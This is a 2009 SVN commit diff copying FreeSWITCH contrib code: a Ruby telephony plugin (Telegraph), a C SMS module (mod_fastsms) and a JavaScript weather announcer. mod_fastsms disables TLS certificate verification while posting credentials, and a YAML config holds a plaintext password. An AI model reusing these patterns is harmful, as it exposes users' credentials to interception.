+module Telegraph
+  module FreeSWITCH
+    class VoiceViewInterface < Telegraph::VoiceView::Interface
+      #The following is the interface to the freeswitch voice view functions...
+      attr_accessor :params, :commands
+      
+      def initialize(params)
+        ENV['REQUEST_METHOD'] = "post"
+        puts "INITIALIZE VOICE"
+        @params = params
+        @commands = Array.new
+        @cgi=CGI.new
+      end
+  
+      def url
+        '/' + (@params['variable_socket_path'] || '')
+      end
+  
+      #spell macro
+      def spell(words)
+        phrase "spell", words
+      end
+  
+      #spell phonetic macro
+      def spell_phonetic(words)
+        phrase "spell-phonetic", words
+      end
+  
+      #say time macro
+      def say_time(time = Time.now.utc)
+        phrase "saydate", time.to_i
+      end
+  
+      #say time difference
+      def say_timespec(time)
+        phrase "timespec", time
+      end
+  
+      #answer channel
+      def answer
+        msg "answer"
+      end
+  
+      def play_sound(file)
+        msg "playback", file
+      end
+  
+      def record(filename, length, silence_threshold=500, silence_time=5)
+        msg "record", "#{filename} #{length} #{silence_threshold} #{silence_time}"
+      end
+  
+      def phrase(macro, data)
+        msg "phrase", "#{macro},#{data}"
+      end
+    
+      def bridge(data)
+        msg "bridge", data
+      end
+      
+      def set(data)
+        msg "set", data
+      end
+      
+      def conference(data)
+        msg "conference", data
+      end
+      
+      def hangup
+        @commands << "SendMsg #{params['unique-id']}\ncall-command: hangup\nhangup-cause: SERVICE_NOT_IMPLEMENTED"
+      end
+      
+      def hold
+        @commands << "SendMsg #{params['unique-id']}\ncall-command: hold"
+      end
+      
+      def ring_ready
+        msg "ring_ready"
+      end
+      
+      def socket(url)
+        msg "socket", "#{params['variable_socket_host']}:8084#{url} async full"
+      end
+      
+      def fifo_in(queue_name, announce = "undef", music="undef")
+        msg "fifo", "#{queue_name} in #{announce} #{music}"
+      end
+      
+      def fifo_out(queue_name, announce="undef", music="undef")
+        msg "fifo", "#{queue_name} out nowait #{announce} #{music}"
+      end
+      
+      def export(val)
+        msg "export", val
+      end
+      
+      def speak(txt, engine="flite", voice="kal")
+  		  msg "set", "tts_engine=#{engine}"
+  		  msg "set", "tts_voice=#{voice}"
+        msg "speak", txt
+      end
+      
+      def transfer(extension, dialplan='', context='')
+        msg "transfer", "#{extension} #{dialplan} #{context}"
+      end
+      def dtmf_read(max = 10, sound = nil, fs_var_name = "dtmf_inputs", timeout = 10000, terminators = '#,*')
+        sound ||= 'misc/8000/silence.wav'
+        msg "read", "1 #{max} #{sound} #{fs_var_name} #{timeout} #{terminators}"
+      end
+      
+      ##############
+      # For FORMS
+      ##################
+      def build_form_element(element)
+        dtmf_read(element[:max_digits], element[:sound], element[:param], element[:timeout],  element[:terminators]) if element[:type]==:get_dtmf
+      end
+      
+      def create_redirect(url, method="GET")
+        set("http_method=#{method}")
+         transfer "'socket:${rails_server}#{url} async full'", "inline"
+      end
+      private
+      def msg(app, params='')
+        @commands << {:type=>:msg, :app=>app, :params=>params}
+      end
+    end
+  end
+end
\ No newline at end of file

Deleted: freeswitch/branches/seven/contrib/jpalley/telegraph/trunk/lib/freeswitch/voice_view_server.rb

Copied: freeswitch/branches/seven/contrib/jpalley/telegraph/trunk/lib/freeswitch/voice_view_server.rb (from rev 14471, freeswitch/trunk/contrib/jpalley/telegraph/trunk/lib/freeswitch/voice_view_server.rb) (0 => 14472)


--- freeswitch/branches/seven/contrib/jpalley/telegraph/trunk/lib/freeswitch/voice_view_server.rb	                        (rev 0)
+++ freeswitch/branches/seven/contrib/jpalley/telegraph/trunk/lib/freeswitch/voice_view_server.rb	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,87 @@
+require 'eventmachine'
+
+   module VoiceViewServer
+     def post_init
+       Telegraph.log "New Connection"
+       @receive_buffer = ''
+       @connection_params = []
+       @command_queue = []
+       @command_queue <<    "log DEBUG\n\n"
+       @command_queue << "myevents\n\n"
+          
+       send "connect"
+     end
+     
+     def set_modes(verbose, debug)
+       Telegraph.log "Turning on Debug Mode" if  @debug = debug
+       Telegraph.log "Turning on Verbose Mode" if @verbose = verbose
+     end
+      
+     def receive_data data
+       @receive_buffer << data
+       
+       Telegraph.log "Received:\n#{data}" if @verbose
+       
+       #If we've recieved the last line of the response
+       if @receive_buffer =~ /\n\n/ 
+         #Hashify params and clear buffer
+         @params = hashify @receive_buffer
+         @receive_buffer = ''
+         
+         #Set connection params if this is the first response
+         unless @command_queue.empty?
+            command = @command_queue.shift
+            if command.is_a?(Hash)
+              send_application command[:app], command[:params]
+            else
+              send command
+            end
+          else
+            #close_connection
+          end
+          
+          if @connection_params.empty?
+            @connection_params = @params
+         
+            make_commands
+          end
+ 
+        end
+     end
+     
+     def make_commands
+       interface = Telegraph::FreeSWITCH::VoiceViewInterface.new(@connection_params)
+       @command_queue = @command_queue + Telegraph::VoiceView::Dispatcher.new.dispatch(interface)
+      end
+
+     def unbind
+       puts "UNBIND"
+     end
+     
+     def hashify data
+       hsh = Hash.new
+       data.split("\n").each do |line|
+         unless line.empty?
+           key,value = line.split(': ')
+           key = key.gsub('-', '_').downcase
+         
+           hsh[key] = value
+           non_variable_key = key.gsub(/^variable\_/, '') #remove variable_ from keys
+           hsh[non_variable_key] = value
+          end
+       end
+       return hsh.with_indifferent_access
+    end
+    
+     def send_application app, params=nil
+       msg = "SendMsg #{@connection_params['unique-id']}\ncall-command: execute\nexecute-app-name: #{app}"
+       msg << "\nexecute-app-arg: #{params}" #if params
+       msg << "\nevent-lock: true"
+       send msg
+     end
+     
+     def send data
+       Telegraph.log "Sending:\n#{data}" if @verbose
+       send_data data + "\n\n"
+      end
+   end
\ No newline at end of file

Deleted: freeswitch/branches/seven/contrib/jpalley/telegraph/trunk/lib/telegraph.yml

Copied: freeswitch/branches/seven/contrib/jpalley/telegraph/trunk/lib/telegraph.yml (from rev 14471, freeswitch/trunk/contrib/jpalley/telegraph/trunk/lib/telegraph.yml) (0 => 14472)


--- freeswitch/branches/seven/contrib/jpalley/telegraph/trunk/lib/telegraph.yml	                        (rev 0)
+++ freeswitch/branches/seven/contrib/jpalley/telegraph/trunk/lib/telegraph.yml	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,18 @@
+development:
+    server: 192.168.1.27
+    model:
+        port: 8080
+        username: freeswitch
+        password: works
+    events:
+        port: 8021
+        
+
+production:
+    server: voip1.lan
+    model:
+        port: 8080
+        username: freeswitch
+        password: works
+    events:
+        port: 8021
\ No newline at end of file

Deleted: freeswitch/branches/seven/contrib/jpalley/telegraph/trunk/lib/voice_events

Copied: freeswitch/branches/seven/contrib/jpalley/telegraph/trunk/lib/voice_events (from rev 14471, freeswitch/trunk/contrib/jpalley/telegraph/trunk/lib/voice_events) (0 => 14472)


--- freeswitch/branches/seven/contrib/jpalley/telegraph/trunk/lib/voice_events	                        (rev 0)
+++ freeswitch/branches/seven/contrib/jpalley/telegraph/trunk/lib/voice_events	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,21 @@
+#!/usr/bin/env ruby
+require File.dirname(__FILE__) + '/../vendor/plugins/telegraph/lib/core/script_base'
+
+Telegraph::ScriptHandler.new('voice_events') do |v, d|
+
+  telegraph_path = 'vendor/plugins/telegraph/lib'
+  require File.join(RAILS_ROOT, telegraph_path, 'core/voice_events/voice_events_base')
+  require File.join(RAILS_ROOT, telegraph_path, 'core/voice_events/router')
+
+  require File.join(RAILS_ROOT, telegraph_path, 'freeswitch/voice_events_server')
+
+
+  config = Telegraph.config
+
+  EventMachine::run {
+     EventMachine::connect config['server'], config['events']['port'], Telegraph::FreeSWITCH::VoiceEventsServer do |conn|
+       conn.set_modes v, d
+    end
+  }
+  
+end

Deleted: freeswitch/branches/seven/contrib/jpalley/telegraph/trunk/lib/voice_view

Copied: freeswitch/branches/seven/contrib/jpalley/telegraph/trunk/lib/voice_view (from rev 14471, freeswitch/trunk/contrib/jpalley/telegraph/trunk/lib/voice_view) (0 => 14472)


--- freeswitch/branches/seven/contrib/jpalley/telegraph/trunk/lib/voice_view	                        (rev 0)
+++ freeswitch/branches/seven/contrib/jpalley/telegraph/trunk/lib/voice_view	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,24 @@
+#!/usr/bin/env ruby
+
+require File.dirname(__FILE__) + '/../vendor/plugins/telegraph/lib/core/script_base'
+
+Telegraph::ScriptHandler.new('voice_view') do |v, d|
+   files = ['core/voice_view/dispatcher','core/voice_view/request', 'core/voice_view/template', 'core/voice_view/response',
+     'core/voice_view/interface', 'core/voice_view/action_controller_extensions', 'freeswitch/voice_view_interface', 'freeswitch/voice_view_server']
+   
+   plugin_path = File.join(RAILS_ROOT, 'vendor/plugins/telegraph/lib')
+   
+   files.each do |file|
+     require File.join(plugin_path, file)
+   end
+   
+   
+   EventMachine::run {
+         EventMachine::start_server "0.0.0.0", 8084, VoiceViewServer do |server|
+           server.set_modes v, d
+          end
+          puts "Now Accept Connections on Port 8084"
+         
+      }
+ end
+    

Deleted: freeswitch/branches/seven/contrib/jpalley/telegraph/trunk/license.txt

Copied: freeswitch/branches/seven/contrib/jpalley/telegraph/trunk/license.txt (from rev 14471, freeswitch/trunk/contrib/jpalley/telegraph/trunk/license.txt) (0 => 14472)


--- freeswitch/branches/seven/contrib/jpalley/telegraph/trunk/license.txt	                        (rev 0)
+++ freeswitch/branches/seven/contrib/jpalley/telegraph/trunk/license.txt	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,25 @@
+COPYRIGHT:
+Copyright (c) 2008 Idapted Ltd.
+
+AUTHORS:
+Jonathan Palley (Primary)
+
+LICENSE:
+Permission is hereby granted, free of charge, to any person obtaining
+a copy of this software and associated documentation files (the
+"Software"), to deal in the Software without restriction, including
+without limitation the rights to use, copy, modify, merge, publish,
+distribute, sublicense, and/or sell copies of the Software, and to
+permit persons to whom the Software is furnished to do so, subject to
+the following conditions:
+	
+The above copyright notice and this permission notice shall be
+included in all copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
+LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
+OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
+WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
\ No newline at end of file

Copied: freeswitch/branches/seven/contrib/jpalley/telegraph/trunk/test (from rev 14471, freeswitch/trunk/contrib/jpalley/telegraph/trunk/test)

Deleted: freeswitch/branches/seven/contrib/jpalley/telegraph/trunk/test/ami_test.rb

Copied: freeswitch/branches/seven/contrib/jpalley/telegraph/trunk/test/ami_test.rb (from rev 14471, freeswitch/trunk/contrib/jpalley/telegraph/trunk/test/ami_test.rb) (0 => 14472)


--- freeswitch/branches/seven/contrib/jpalley/telegraph/trunk/test/ami_test.rb	                        (rev 0)
+++ freeswitch/branches/seven/contrib/jpalley/telegraph/trunk/test/ami_test.rb	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,120 @@
+
+require 'test/unit'
+
+require File.expand_path(File.join(File.dirname(__FILE__), '../../../../config/environment.rb'))
+class RAI::TelegraphTCP
+  @@recieved_buffer = Array.new
+  @@write_buffer = Array.new
+  def set_recieved(data, add_crlf = true)
+    if data.kind_of?(Array)
+      data.reverse_each do |r|
+        add_to_recieved_buffer(r, add_crlf)
+      end
+    elsif data =~ /\n/
+      data.split("\n").reverse_each do |r|
+        add_to_recieved_buffer(r.gsub(/^\s+/, ""), true)
+      end
+    else
+      add_to_recieved_buffer(data, add_crlf)
+    end
+  end
+  
+  def add_to_recieved_buffer(line, add_crlf)
+    line = line + "\n\r" if add_crlf
+    @@recieved_buffer << line
+  end
+  
+  def clear_recieved_buffer
+    @@recieved_buffer.clear
+  end
+  
+  def gets
+    puts "gets"
+    s =@@recieved_buffer.pop
+    puts "Sending: " + s
+    return s
+  end
+  
+  def initialize(host=nil, port=nil)
+    puts "initialize"
+  end
+  
+  def write(w)
+    @@write_buffer << w
+  end
+  
+  def written
+    @@write_buffer
+  end
+  
+  def clear_write_buffer
+    @@write_buffer.clear
+  end
+  
+end
+
+
+class AMIServerTest < Test::Unit::TestCase
+  def setup
+    @blah = Test::Unit::MockObject(TCPSocket).new
+    @tcp = RAI::TelegraphTCP.new
+    @srv = RAI::AMIServer.new
+  end
+  
+  def test_mock_tcp
+    @tcp.set_recieved('Hi There')
+    assert_equal "Hi There\n\r", @tcp.gets
+    
+    @tcp.set_recieved(['Hi There', 'Long time no talk'], false)
+    assert_equal 'Hi There', @tcp.gets
+    assert_equal 'Long time no talk', @tcp.gets
+         
+    s = <<-EOL 
+      line_1
+      line_2
+      line_3
+    EOL
+    puts s
+    
+    @tcp.set_recieved(s)
+    assert_equal "line_1\n\r", @tcp.gets
+    
+    @tcp.write("You there?")
+    assert  @tcp.written.include?('You there?')
+    
+    
+  end
+   
+  def test_connects
+    puts "test_connect"
+    
+    s = <<-EOM
+    Asterisk Call Manager/1.0
+    Response: Success
+    ActionID: 1177582847.67069
+    Challenge: 18535068
+    
+    Response: Success
+    ActionID: 1177582847.84917
+    Message: Authentication accepted
+    
+    EOM
+    
+    @tcp.set_recieved(s)
+    tcp2 = RAI::TelegraphTCP.new
+    assert_equal tcp2.gets, "Asterisk Call Manager/1.0\n\r"
+    puts "recieved"
+    
+     @srv.connect
+     
+#     puts "connect"
+#     assert_written 'Action: challenge'
+#     assert_written 'Action: login'
+  end
+  
+  
+  private 
+  def assert_written(line)
+    assert @tcp.written.include?(line)
+  end
+end
\ No newline at end of file

Deleted: freeswitch/branches/seven/contrib/jpalley/telegraph/trunk/test/rai_test.rb

Copied: freeswitch/branches/seven/contrib/jpalley/telegraph/trunk/test/rai_test.rb (from rev 14471, freeswitch/trunk/contrib/jpalley/telegraph/trunk/test/rai_test.rb) (0 => 14472)


--- freeswitch/branches/seven/contrib/jpalley/telegraph/trunk/test/rai_test.rb	                        (rev 0)
+++ freeswitch/branches/seven/contrib/jpalley/telegraph/trunk/test/rai_test.rb	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,8 @@
+require 'test/unit'
+
+class RaiTest < Test::Unit::TestCase
+  # Replace this with your real tests.
+  def test_this_plugin
+    flunk
+  end
+end

Copied: freeswitch/branches/seven/contrib/jtregunna (from rev 14471, freeswitch/trunk/contrib/jtregunna)

Copied: freeswitch/branches/seven/contrib/jtregunna/mod_fastsms (from rev 14471, freeswitch/trunk/contrib/jtregunna/mod_fastsms)

Deleted: freeswitch/branches/seven/contrib/jtregunna/mod_fastsms/COPYING

Copied: freeswitch/branches/seven/contrib/jtregunna/mod_fastsms/COPYING (from rev 14471, freeswitch/trunk/contrib/jtregunna/mod_fastsms/COPYING) (0 => 14472)


--- freeswitch/branches/seven/contrib/jtregunna/mod_fastsms/COPYING	                        (rev 0)
+++ freeswitch/branches/seven/contrib/jtregunna/mod_fastsms/COPYING	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,20 @@
+Copyright (c) 2006-2008 Hampton Catlin
+
+Permission is hereby granted, free of charge, to any person obtaining
+a copy of this software and associated documentation files (the
+"Software"), to deal in the Software without restriction, including
+without limitation the rights to use, copy, modify, merge, publish,
+distribute, sublicense, and/or sell copies of the Software, and to
+permit persons to whom the Software is furnished to do so, subject to
+the following conditions:
+
+The above copyright notice and this permission notice shall be
+included in all copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
+LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
+OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
+WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
\ No newline at end of file

Deleted: freeswitch/branches/seven/contrib/jtregunna/mod_fastsms/Makefile

Copied: freeswitch/branches/seven/contrib/jtregunna/mod_fastsms/Makefile (from rev 14471, freeswitch/trunk/contrib/jtregunna/mod_fastsms/Makefile) (0 => 14472)


--- freeswitch/branches/seven/contrib/jtregunna/mod_fastsms/Makefile	                        (rev 0)
+++ freeswitch/branches/seven/contrib/jtregunna/mod_fastsms/Makefile	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,3 @@
+BASE=../../../..
+WANT_CURL=yes
+include $(BASE)/build/modmake.rules

Deleted: freeswitch/branches/seven/contrib/jtregunna/mod_fastsms/README

Copied: freeswitch/branches/seven/contrib/jtregunna/mod_fastsms/README (from rev 14471, freeswitch/trunk/contrib/jtregunna/mod_fastsms/README) (0 => 14472)


--- freeswitch/branches/seven/contrib/jtregunna/mod_fastsms/README	                        (rev 0)
+++ freeswitch/branches/seven/contrib/jtregunna/mod_fastsms/README	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,33 @@
+mod_fastsms
+Copyright (c) 2009, Jeremy Tregunna, All Rights Reserved.
+
+What is it?
+
+mod_fastsms is a FreeSWITCH module that can be used to send Short Message Service (SMS)
+text messages via the FastSMS web service.
+
+Configuration
+
+A template fastsms.conf.xml is included, you will need to edit the auth tag to put in
+the information you get from the FastSMS service.
+
+As far as your dialplan goes, you can add something like this:
+
+<extension name="fastsms">
+  <condition field="destination_number" expression="^1200$">
+    <action application="fastsms" data="15145551212 Limit this bit of text to 160 characters. It's your message."/>
+  </condition>
+</extension>
+
+You can optionally define an originator (who the message appears to come from), in your
+directory, add this line:
+	<variable name="fastsms_originator" value="Mr. Bob's Server"/>
+
+and reloadxml.
+
+That's about it! Just copy the fastsms.conf.xml to your conf/autoload_configs and make
+the changes appropriately, copy this directory to freeswitch/src/mod/applications/mod_fastsms
+edit freeswitch/modules.conf and add a line "applications/mod_fastsms" then rebuild
+FreeSWITCH.
+
+Should you encounter problems, either drop me a line at jeremy.tregunna@me.com.

Deleted: freeswitch/branches/seven/contrib/jtregunna/mod_fastsms/fastsms.conf.xml

Copied: freeswitch/branches/seven/contrib/jtregunna/mod_fastsms/fastsms.conf.xml (from rev 14471, freeswitch/trunk/contrib/jtregunna/mod_fastsms/fastsms.conf.xml) (0 => 14472)


--- freeswitch/branches/seven/contrib/jtregunna/mod_fastsms/fastsms.conf.xml	                        (rev 0)
+++ freeswitch/branches/seven/contrib/jtregunna/mod_fastsms/fastsms.conf.xml	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,5 @@
+<configuration name="fastsms.conf" description="fastsms">
+  <settings>
+    <auth companyid="XXX" userid="YYY" password="ZZZ"/>
+  </settings>
+</configuration>

Deleted: freeswitch/branches/seven/contrib/jtregunna/mod_fastsms/mod_fastsms.c

Copied: freeswitch/branches/seven/contrib/jtregunna/mod_fastsms/mod_fastsms.c (from rev 14471, freeswitch/trunk/contrib/jtregunna/mod_fastsms/mod_fastsms.c) (0 => 14472)


--- freeswitch/branches/seven/contrib/jtregunna/mod_fastsms/mod_fastsms.c	                        (rev 0)
+++ freeswitch/branches/seven/contrib/jtregunna/mod_fastsms/mod_fastsms.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,147 @@
+/* 
+ * Interface to the FastSMS message service.
+ * Copyright (c) 2009, Jeremy Tregunna, All Rights Reserved.
+ *
+ * This library is free software; you can redistribute it and/or modify
+ * it under the terms of the MIT license. See COPYING for details.
+ */
+#include <switch.h>
+#include <curl/curl.h>
+
+SWITCH_MODULE_SHUTDOWN_FUNCTION(mod_fastsms_shutdown);
+SWITCH_MODULE_RUNTIME_FUNCTION(mod_fastsms_runtime);
+SWITCH_MODULE_LOAD_FUNCTION(mod_fastsms_load);
+SWITCH_MODULE_DEFINITION(mod_fastsms, mod_fastsms_load, mod_fastsms_shutdown, NULL);
+
+static char* companyid;
+static char* userid;
+static char* password;
+static CURL* curl;
+
+static switch_status_t do_config(switch_bool_t reload)
+{
+	switch_xml_t cfg, xml, settings, auth;
+
+	if (!(xml = switch_xml_open_cfg("fastsms.conf", &cfg, NULL))) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, "Could not open fastsms.conf\n");
+		return SWITCH_STATUS_FALSE;
+	}
+
+	if ((settings = switch_xml_child(cfg, "settings"))) {
+		auth = switch_xml_child(settings, "auth");
+		companyid = strdup(switch_xml_attr_soft(auth, "companyid"));
+		userid = strdup(switch_xml_attr_soft(auth, "userid"));
+		password = strdup(switch_xml_attr_soft(auth, "password"));
+	}
+
+	if (xml)
+		switch_xml_free(xml);
+
+	return SWITCH_STATUS_SUCCESS;
+}
+
+static switch_status_t fastsms_send_msg(switch_core_session_t* session, const char* msisdn, const char* text, const char* originator)
+{
+	char* params;
+	int error;
+	long response = 0;
+
+	if (originator) {
+		asprintf(&params, "CompanyId=%s&UserId=%s&Password=%s&Msisdn=%s&MessageText=%s&OasText=%s", companyid,
+			userid, password, msisdn, text, originator);
+	} else {
+		asprintf(&params, "CompanyId=%s&UserId=%s&Password=%s&Msisdn=%s&MessageText=%s", companyid, userid,
+			password, msisdn, text);
+	}
+
+	curl_easy_setopt(curl, CURLOPT_URL, "https://secure.bayhamsystems.com/mfi/sendMessage");
+	curl_easy_setopt(curl, CURLOPT_POSTFIELDS, params);
+	curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0);
+	if ((error = curl_easy_perform(curl)) != CURLE_OK)
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, "FastSMS Error: %s\n", curl_easy_strerror(error));
+	curl_easy_getinfo(curl, CURLINFO_HTTP_CODE, &response);
+	free(params);
+
+	switch (response) {
+		case 200:
+			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, "SMS message sent.\n");
+			return SWITCH_STATUS_SUCCESS;
+			break;
+		case 403:
+			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Error: Forbidden.\n");
+			break;
+		default:
+			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "FastSMS Error: Response code %ld\n", response);
+			break;
+	}
+
+	return SWITCH_STATUS_FALSE;
+}
+
+#define FASTSMS_DESC "FastSMS SMS Message Service"
+#define FASTSMS_USAGE "<number> <text message>"
+
+SWITCH_STANDARD_APP(fastsms_function)
+{
+	switch_channel_t* channel = switch_core_session_get_channel(session);
+	char* msisdn = NULL;
+	char* text = NULL;
+	const char* originator = switch_channel_get_variable(channel, "fastsms_originator");
+
+	if (!switch_strlen_zero(data)) {
+		msisdn = switch_core_session_strdup(session, data);
+		text = strchr(msisdn, ' ');
+		if (text)
+			*text++ = '\0';
+		fastsms_send_msg(session, msisdn, text, originator);
+	}
+}
+
+SWITCH_STANDARD_API(fastsms_api_function)
+{
+	switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "Reloading FastSMS configuration file.\n");
+	do_config(SWITCH_TRUE);
+	return SWITCH_STATUS_SUCCESS;
+}
+
+SWITCH_MODULE_LOAD_FUNCTION(mod_fastsms_load)
+{
+	switch_status_t status;
+	switch_application_interface_t *app_interface;
+	switch_api_interface_t *api_interface;
+
+	switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, "FastSMS module loaded.\n");
+	
+	if ((status = do_config(SWITCH_FALSE)) != SWITCH_STATUS_SUCCESS) {
+		return status;
+	}
+
+	*module_interface = switch_loadable_module_create_module_interface(pool, modname);
+	curl = curl_easy_init();
+	
+	SWITCH_ADD_API(api_interface, "fastsms_api", "fastsms_api", fastsms_api_function, "syntax");
+	SWITCH_ADD_APP(app_interface, "fastsms", "fastsms", FASTSMS_DESC, fastsms_function, FASTSMS_USAGE, SAF_NONE);
+
+	/* indicate that the module should continue to be loaded */
+	return SWITCH_STATUS_SUCCESS;
+}
+
+SWITCH_MODULE_SHUTDOWN_FUNCTION(mod_fastsms_shutdown)
+{
+	curl_easy_cleanup(curl);
+	free(companyid);
+	free(userid);
+	free(password);
+	return SWITCH_STATUS_SUCCESS;
+}
+
+/* For Emacs:
+ * Local Variables:
+ * mode:c
+ * indent-tabs-mode:t
+ * tab-width:4
+ * c-basic-offset:4
+ * End:
+ * For VIM:
+ * vim:set softtabstop=4 shiftwidth=4 tabstop=4
+ */

Deleted: freeswitch/branches/seven/contrib/jtregunna/weather.js

Copied: freeswitch/branches/seven/contrib/jtregunna/weather.js (from rev 14471, freeswitch/trunk/contrib/jtregunna/weather.js) (0 => 14472)


--- freeswitch/branches/seven/contrib/jtregunna/weather.js	                        (rev 0)
+++ freeswitch/branches/seven/contrib/jtregunna/weather.js	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,123 @@
+/*
+ * Weather application
+ * Copyright (c) 2009, Jeremy Tregunna, All Rights Reserved.
+ * Redistributable under any terms you like!
+ *
+ * Uses the Yahoo! Weather forecasting engine. http://weather.yahoo.com/
+ *
+ * Makes use of mod_flite, should be easy to adapt to any other TTS engine.
+ */
+var yweather = new Namespace("http://xml.weather.yahoo.com/ns/rss/1.0");
+
+var rssFile = "/usr/local/freeswitch/rss/weather.rss";
+var currentConditions = "Unknown";
+var highTemperature = lowTemperature = currentTemperature = "0";
+var doc = null;
+
+// XXX: Big and nasty, but the values Yahoo! Weather's RSS feed gives out for "text" attributes on yweather:condition
+// really don't fit in well with any method of saying things. That is, "You can expect <foo> conditions" works for
+// most cases, but falls down or reads weird, when things like "tornado conditions" are inserted into <foo>. If you
+// don't mind that awkwardness, you can get rid of the conditions object, and just change the code in sayWeather()
+// replacing occurences of @code with @text, of course, first removing the conditions[...] that surround fc.@code.
+var conditions = new Object();
+conditions[0]  = "a tornado";
+conditions[1]  = "tropical storm conditions";
+conditions[2]  = "hurricane conditions";
+conditions[3]  = "severe thunderstorms";
+conditions[4]  = "thunderstorms";
+conditions[5]  = "mixture of rain and snow";
+conditions[6]  = "mixture of rain and sleet";
+conditions[7]  = "mixture of snow and sleet";
+conditions[8]  = "freezing drizzle";
+conditions[9]  = "some drizzle";
+conditions[10] = "freezing rain";
+conditions[11] = "rain showers";
+conditions[12] = "light rain showers";
+conditions[13] = "snow flurries";
+conditions[14] = "light snow";
+conditions[15] = "blowing snow";
+conditions[16] = "snow";
+conditions[17] = "periods of hail";
+conditions[18] = "sleet";
+conditions[19] = "dusty conditions";
+conditions[20] = "foggy conditions";
+conditions[21] = "hazy conditions";
+conditions[22] = "smokey conditions";
+conditions[23] = "high winds";
+conditions[24] = "windy";
+conditions[25] = "cold conditions";
+conditions[26] = "overcast conditions";
+conditions[27] = "mostly cloudy conditions"; // Night time
+conditions[28] = "mostly cloudy conditions"; // Day time
+conditions[29] = "partly cloudy conditions"; // Night time
+conditions[30] = "partly cloudy conditions"; // Day time
+conditions[31] = "clear conditions"; // Night time
+conditions[32] = "sunny conditions"; // Day time
+conditions[33] = "fair conditions"; // Night time
+conditions[34] = "fair conditions"; // Day time
+conditions[35] = "periods of mixed rain and hail";
+conditions[36] = "hot conditions";
+conditions[37] = "isolated thunderstorms";
+conditions[38] = "scattered thunderstorms";
+conditions[39] = "scattered thunderstorms";
+conditions[40] = "scattered showers";
+conditions[41] = "heavy snow";
+conditions[42] = "scattered snow flurries";
+conditions[43] = "heavy snow";
+conditions[44] = "partly cloudy conditions";
+conditions[45] = "thundershowers";
+conditions[46] = "snow flurries";
+conditions[47] = "isolated thunderstorms";
+conditions[3200] = "conditions are not available at this time";
+
+/********** Say something **********/
+say = function(something) {
+	session.speak("flite", "rms", something);
+}
+
+/********** Load the XML **********/
+loadXML = function(url) {
+	fetchURLFile(url, rssFile);
+	var fd = new FileIO(rssFile, "r");
+	fd.read(3072);
+	// Need to strip out the <?xml ...?> tag otherwise we get a syntax error, silly E4X
+	doc = new XML(fd.data().replace(/^<\?xml\s+version\s*=\s*(["'])[^\1]+\1[^?]*\?>/, ""));
+}
+
+/********** Say the weather **********/
+sayWeather = function() {
+	var currentCondition = doc.channel.item.yweather::condition.@text;
+	var currentTemperature = doc.channel.item.yweather::condition.@temp;
+	var firstLoop = true;
+	var forecast = "The current conditions are: ";
+	forecast += conditions[doc.channel.item.yweather::condition.@code];
+	forecast += " and it is " + currentTemperature + " degree" + ((currentTemperature != 1) ? "s" : "") + " out.\n";
+	for each(var fc in doc.channel.item.yweather::forecast) {
+		// XXX: Figure out why day.replace("Sun", "Sunday") et. al., doesn't actually replace the date when used here
+		//      but when using the "js" spidermonkey executable, it does.
+		var day = fc.@day;
+		if (day == "Sun")
+			day = "Sunday";
+		else if (day == "Mon")
+			day = "Monday";
+		else if (day == "Tue")
+			day = "Tuesday";
+		else if (day == "Wed")
+			day = "Wednesday";
+		else if (day == "Thu")
+			day = "Thursday";
+		else if (day == "Fri")
+			day = "Friday";
+		else if (day == "Sat")
+			day = "Saturday";
+		forecast += day + "'s forecast calls for " + conditions[fc.@code] + ", with a daytime high of ";
+		forecast += fc.@high + " degree" + ((fc.@high != 1) ? "s" : "") + " and a low of " + fc.@low + " degree" + ((fc.@low != 1) ? "s" : "") + ".\n";
+	}
+	say(forecast);
+}
+
+if (session.ready()) {
+	session.answer();
+	loadXML("http://weather.yahooapis.com/forecastrss?p=CAXX0531&u=c");
+	sayWeather();
+} 

Copied: freeswitch/branches/seven/contrib/jwehle (from rev 14471, freeswitch/trunk/contrib/jwehle)

